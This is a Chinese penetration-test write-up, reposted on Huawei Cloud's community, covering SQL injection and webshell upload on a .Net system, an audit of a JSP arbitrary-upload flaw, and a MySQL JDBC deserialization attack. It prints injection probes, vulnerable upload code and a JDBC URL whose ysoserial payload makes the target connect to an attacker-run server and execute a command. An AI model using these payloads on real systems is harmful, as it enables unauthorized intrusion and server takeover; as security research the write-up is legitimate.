记一次渗透到审计

举报
亿人安全 发表于 2024/12/31 23:23:00 2024/12/31
【摘要】 文章首发在:先知社区https://xz.aliyun.com/t/16746前言某次渗透项目中要求必须产出高危漏洞且要拿到服务器及数据库权限,难受的是测试的部分系统之前已测试过一轮且加固修复一波之后,再次丢出进行漏洞挖掘,头皮发麻。某.Net系统getshell.Net网站后台可关注头像上传/查询/提交的地方,这种可能有上传/SQL注入漏洞。Aspx SQL 注入UserID=1+or+1...

文章首发在:先知社区

https://xz.aliyun.com/t/16746

前言

某次渗透项目中要求必须产出高危漏洞且要拿到服务器及数据库权限,难受的是测试的部分系统之前已测试过一轮且加固修复一波之后,再次丢出进行漏洞挖掘,头皮发麻。

某.Net系统getshell

.Net网站后台可关注头像上传/查询/提交的地方,这种可能有上传/SQL注入漏洞。

Aspx SQL 注入

UserID=1+or+1=1
 UserID=1+or+1=2

SqlMap一把梭注入成功

图片

图片

Aspx 文件上传

头像上传处未做过滤,直接getshell

图片

图片

web.config获取多个数据库配置信息

图片

图片

审计

该系统之前已被挖掘过任意文件上传,后台基本没上传的点且都修复了,根据指纹特征,远方的队友给了一份源码,推测开发人员修复漏洞可能仅仅是修复某个页面或者某个点的漏洞而不是全局修复,尝试审计挖掘新的漏洞

任意文件上传

通过审计JSP文件,发现一处任意文件上传漏洞,前端获取uploadPath值

图片

获取后缀未进行检查 extName = name.substring(name.lastIndexOf("."));
用时间戳+随机数字对文件进行重命名 name + (int)(Math.random()*90000+10000)
直接进行拼接 new File(savePath + name + extName)
最后写内容 item.write(file);

图片

响应会返回上传成功重命名的文件名 ps:需注意的是没有返回具体的路径

response.getWriter().print((name.trim() + extName.trim()).trim());

图片

前面提到uploadPath值很关键,决定了写入的shell文件存储的目录而且要有权限访问到,前面提到之前有被shell过,故直接将uploadPath值设为存在的访问路径,如/aaa/bbbb/直接构造上传的HTML文件。

图片

经过测试成功上传,按照代码逻辑返回了上传的文件名

图片

成功getshell

图片

Mysql JDBC 反序列化漏洞

某jsp中找到一处数据库连接功能,URL/用户名/密码/可控,且lib包存在 Mysql,经过测试存在反序列化漏洞

图片

直接分析.do对应的路由代码文件

图片

不同数据库对应不同的type从而选择不同的数据库加载

图片

图片

图片

图片

访问对应的JSP文件完全可控,是一个数据库链接测试页面

图片

服务端开启python server.py 由于目标系统存在cb、cc 可以利用cb2 弹个计算器(本地测试一下效果)

图片

图片

Mysql5.x 

url=jdbc:mysql://xx.xx.xx.xx:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
username=yso-CommonsBeanutils2-raw_cmd:calc.exe
password=123456

图片

内存马注入

JMG 生成内存马 class文件

图片

图片

图片

亿人安全
知其黑,守其白。手握利剑,心系安全。主要研究方向包括:Web、内网、红蓝对抗、代码审计、安卓逆向、CTF。
186篇原创内容
公众号

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。